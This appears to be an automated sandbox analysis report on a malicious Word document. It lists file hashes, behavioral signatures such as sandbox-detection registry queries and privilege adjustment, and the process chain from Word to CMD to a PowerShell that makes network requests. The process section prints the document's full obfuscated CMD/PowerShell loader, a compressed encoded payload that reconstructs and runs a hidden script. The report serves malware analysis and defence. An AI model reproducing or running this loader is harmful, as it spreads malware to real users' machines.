Analysis
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max time kernel
101s -
max time network
123s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
21-09-2024 06:53
Behavioral task
behavioral1
Sample
ef45263ef69dd1ba6535d2794ca3411c_JaffaCakes118.doc
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
ef45263ef69dd1ba6535d2794ca3411c_JaffaCakes118.doc
Resource
win10v2004-20240802-en
General
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Target
ef45263ef69dd1ba6535d2794ca3411c_JaffaCakes118.doc
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Size
79KB
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MD5
ef45263ef69dd1ba6535d2794ca3411c
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SHA1
0f5d17b848a239c75ee84c5fa70a9dff2b0ca7ad
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SHA256
9c0bf5617ef6a3ee5f9a753fbaa7e270ab1aa6f35fd3f2ba5d6dc8fe9b7fc586
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SHA512
518c0e2d080800cef61e3f3d743bea79adb115bae186198bddd53b6db3f8798811e3337dba3388c1fdd5379699fa23e76c3c2d28f38d835461135295a9594751
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SSDEEP
768:Dx0zyA1VucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9MrLUvIbm547GNy:Dx0zyA1ocn1kp59gxBK85fBt+a9M+
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 1036 3632 CMD.exe 81 -
Blocklisted process makes network request 6 IoCs
flow pid Process 22 1412 powershell.exe 27 1412 powershell.exe 28 1412 powershell.exe 31 1412 powershell.exe 32 1412 powershell.exe 35 1412 powershell.exe -
pid Process 1412 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3632 WINWORD.EXE 3632 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1412 powershell.exe 1412 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1412 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3632 WINWORD.EXE 3632 WINWORD.EXE 3632 WINWORD.EXE 3632 WINWORD.EXE 3632 WINWORD.EXE 3632 WINWORD.EXE 3632 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3632 wrote to memory of 1036 3632 WINWORD.EXE 85 PID 3632 wrote to memory of 1036 3632 WINWORD.EXE 85 PID 1036 wrote to memory of 1412 1036 CMD.exe 88 PID 1036 wrote to memory of 1412 1036 CMD.exe 88
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ef45263ef69dd1ba6535d2794ca3411c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3632 -
C:\Windows\SYSTEM32\CMD.exeCMD C:\wiNDOWS\sYsteM32\cMD /c "sET gYT= ^& ((GV '*Mdr*').NAme[3,11,2]-jOIn'')( ((("{54}{109}{71}{74}{136}{44}{104}{96}{36}{80}{141}{43}{28}{132}{21}{137}{34}{105}{10}{49}{72}{87}{145}{69}{100}{11}{37}{16}{13}{48}{130}{76}{45}{59}{82}{15}{26}{5}{0}{52}{40}{101}{135}{83}{29}{120}{140}{88}{129}{62}{66}{84}{118}{112}{86}{131}{123}{50}{134}{126}{75}{115}{125}{57}{117}{111}{60}{35}{103}{79}{46}{77}{65}{58}{90}{73}{32}{39}{41}{138}{93}{19}{7}{8}{22}{116}{127}{61}{23}{122}{99}{70}{102}{53}{142}{113}{67}{47}{133}{31}{128}{68}{144}{12}{95}{108}{97}{91}{56}{24}{64}{85}{106}{51}{78}{30}{1}{110}{119}{89}{94}{4}{2}{3}{6}{81}{143}{25}{92}{33}{14}{17}{38}{20}{27}{121}{114}{18}{55}{124}{98}{139}{9}{107}{42}{63}" -f 'cSy','s','::dEcOMpReSs )','Fyc%{ ne','rESSIOnMode]','JQdLBlG','w-oB','bu','pnX5VFO2ybVy',' ','ESSioN','m.COn','yU+','F','Er(','EI','t]::',' hR','c','ZjRR','_ ,','JeCT ','P','Kc','PO5qT','S','Rf',' [T','ne','UN6dhBb1OvPtaGbJ','[Io.cOmPrE','2d','uG0dHP9sX3/BwBO4Gylr','d','.com','xZ',']-j','vEr','G','/fqWd0cX','hQSk','R7Lw','E','lGZ) (',').Name[3','trING(lGZ','t9','r','rOMBa','.DeFlatestReAM( [sYsTEM.Io','3Cko','lGZ)','UkrEhU0E','c2Mx','. ((','I','u6AL7','H','Zf1+rA','RZDN','9Z','QBXR0P6','U63AO','aDtoEnD()','CD','h+i','E','R','Jm','sY','gDI4AuVbtJDI','GZ*md','.mE','eCDwKxKwlT','r*lG','v','64s','y',',','5hO','oin','JeC','bsIw','FGjhMT','7k','4bwNvSq8','DkOw','MOrySt','8','oM','Uq+oGCYv','Z','TrEamRea','RFDj','P','s','11,2','y',' ','Jhq7OCQD+g3HXT+','StE','vpz','tE','l',',','Pr','bZxkvJGJk+m5aS4=',').r','NF','gv l','sION','G','lw+','E3','AS','On','TqhfU','+','Mo9o6','.C','g3qNDPghij','ext.enCODIng]::','xD6OC','q','i)','J','pc','4ek0U','n6zNpv8','Q','se','xdCBTA1','w-oB','+','mMRDuP','6WX2F2Iif','Z',' Io','t','}','1IF6zAsS','lGZ','8o','T io.','bU+N','REAm][')) -rEPLaCe([chAR]108+[chAR]71+[chAR]90),[chAR]39-creplACe 'hRG',[chAR]36 -creplACe([chAR]70+[chAR]121+[chAR]99),[chAR]124) ) && PoWersHELL SET-itEM VarIaBlE:tl32V ( [TYPE](\"{1}{2}{0}\"-f 'meNT','EnviRO','N') ); (.( \"{1}{2}{0}\"-f'Tem','Get-cHI','LDI') (\"{0}{2}{1}{4}{3}\" -f'vari','CutIOnConT','aBLE:eXe','xT','e' )).\"val`Ue\".\"invo`KECo`MMAnD\".\"inV`OkEsc`RipT\"( ( (cHILDiTeM VARiABlE:TL32V ).vaLUE::( \"{1}{5}{0}{4}{2}{3}\"-f 'r','gEtEn','NtvAriabL','e','oNMe','Vi' ).Invoke( 'GyT',( \"{1}{2}{0}\"-f 'CEsS','pR','o') ) ) )"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePoWersHELL SET-itEM VarIaBlE:tl32V ( [TYPE](\"{1}{2}{0}\"-f 'meNT','EnviRO','N') ); (.( \"{1}{2}{0}\"-f'Tem','Get-cHI','LDI') (\"{0}{2}{1}{4}{3}\" -f'vari','CutIOnConT','aBLE:eXe','xT','e' )).\"val`Ue\".\"invo`KECo`MMAnD\".\"inV`OkEsc`RipT\"( ( (cHILDiTeM VARiABlE:TL32V ).vaLUE::( \"{1}{5}{0}{4}{2}{3}\"-f 'r','gEtEn','NtvAriabL','e','oNMe','Vi' ).Invoke( 'GyT',( \"{1}{2}{0}\"-f 'CEsS','pR','o') ) ) )3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1412
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84